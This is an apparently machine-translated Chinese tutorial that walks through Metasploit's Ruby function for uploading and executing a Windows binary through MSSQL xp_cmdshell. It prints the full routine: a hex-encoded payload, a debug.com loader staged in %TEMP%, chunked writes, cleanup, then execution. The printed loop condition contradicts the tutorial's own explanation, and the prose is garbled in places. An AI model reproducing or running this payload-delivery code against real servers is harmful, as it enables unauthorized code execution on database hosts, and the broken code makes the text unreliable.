通过MSSQL有效负载结论
使用文本编辑器查看“mssql.rb”文件,找到'mssql_upload_exec'。我们应该看到以下内容:
#
# Upload and execute a Windows binary through MSSQL queries
#
def mssql_upload_exec(exe, debug=false)
hex = exe.unpack("H*")[0]
var_bypass = rand_text_alpha(8)
var_payload = rand_text_alpha(8)
print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
print_status("Writing the debug.com loader to the disk...")
h2b = File.read(datastore['HEX2BINARY'], File.size(datastore['HEX2BINARY']))
h2b.gsub!(/KemneE3N/, "%TEMP%\\#{var_bypass}")
h2b.split(/\n/).each do |line|
mssql_xpcmdshell("#{line}", false)
end
print_status("Converting the debug script to an executable...")
mssql_xpcmdshell("cmd.exe /c cd %TEMP% && cd %TEMP% && debug > %TEMP%\\#{var_bypass}", debug)
mssql_xpcmdshell("cmd.exe /c move %TEMP%\\#{var_bypass}.bin %TEMP%\\#{var_bypass}.exe", debug)
print_status("Uploading the payload, please be patient...")
idx = 0
cnt = 500
while(idx > hex.length - 1)
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false)
idx += cnt
end
print_status("Converting the encoded payload...")
mssql_xpcmdshell("%TEMP%\\#{var_bypass}.exe %TEMP%\\#{var_payload}", debug)
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_bypass}.exe", debug)
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
print_status("Executing the payload...")
mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
end
def mssql_upload_exec(exe,debug = false)需要两个参数,并且默认情况下将debug设置为false,除非另有说明。
def mssql_upload_exec(exe, debug=false)
十六进制= exe.unpack(“H *”)[0]是一些Ruby Kung-Fuey,它将我们生成的可执行文件神奇地转换为十六进制。
hex = exe.unpack("H*")[0]
var_bypass = rand_text_alpha(8)和var_payload = rand_text_alpha(8)用随机设置的8个字母字符创建两个变量,例如:PoLecJeX
var_bypass = rand_text_alpha(8)
print_status必须始终在Metasploit中使用,'puts'不再被框架接受。如果你注意到我和python有一些不同之处,在print_status中你会注意到“#{var_payload} .exe这个变量将变量var_payload放入print_status消息中,所以你基本上可以看到”PoLecJeX.exe“ ”
print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
继续,如果你看看我们什么时候发射,h2b = File.read(datastore ['HEX2BINARY'],File.size [datastore ['HEX2BINARY']))将读取“HEX2BINARY”数据存储中指定的任何文件该文件位于data / exploits / mssql / h2b,这是一个我以前创建的文件,它是windows调试的一个特定格式,基本上是一个简单的旁路以删除文件大小限制。我们首先发送这个可执行文件,windows调试将它转换回给我们的二进制文件,然后我们发送metasploit负载并调用我们之前转换的可执行文件来转换我们的metasploit文件。
h2b = File.read(datastore['HEX2BINARY'], File.size(datastore['HEX2BINARY']))
h2b.gsub!(/KemneE3N/, "%TEMP%\\#{var_bypass}")
h2b.split(/\n/).each do |line|
h2b.gsuc!(/KemneE3N/, “%TEMP%\\#{var_bypass}”)只是用上面创建的动态代码替换硬编码名称,如果您查看h2b文件,则会多次调用KemneE3N我们想随机创建一个名称来更好地混淆事物。gsub只是用随机的硬编码替代硬编码。
h2b.split(/\n/)。每个都是| line | 会为我们启动一个循环,并将庞大的h2b文件分成多行,原因是我们无法一次发送整个批量文件,因为MSSQL协议不允许我们一次发送一个文件通过SQL语句进行非常大的传输。
最后,mssql_xpcmdshell(“#{line}”, false) 逐行发送初始stager载荷,而false将debug指定为false,并且不将信息发回给我们。
接下来的几个步骤将我们的h2b文件转换为使用Windows调试的二进制文件,我们使用%TEMP%目录来提高可靠性。mssql_xpcmdshell存储过程允许发生这种情况。
idx = 0将作为计数器让我们知道何时达到文件大小,cnt = 500指定我们一次发送多少个字符。下一行将我们的有效载荷一次发送到一个新文件500个字符,增加了idx计数器并确保idx仍小于hex.length blob。
一旦完成后,最后几个步骤将我们的metasploit有效载荷转换回使用我们先前分级有效载荷的可执行程序,然后执行它给我们我们的有效载荷!
idx = 0
所以我们已经走过了创建一个全面的攻击矢量,并且更加熟悉窗帘背后发生的事情。如果你想创建一个新的模块,看看通常有什么东西可以用作基线来帮助你创建它。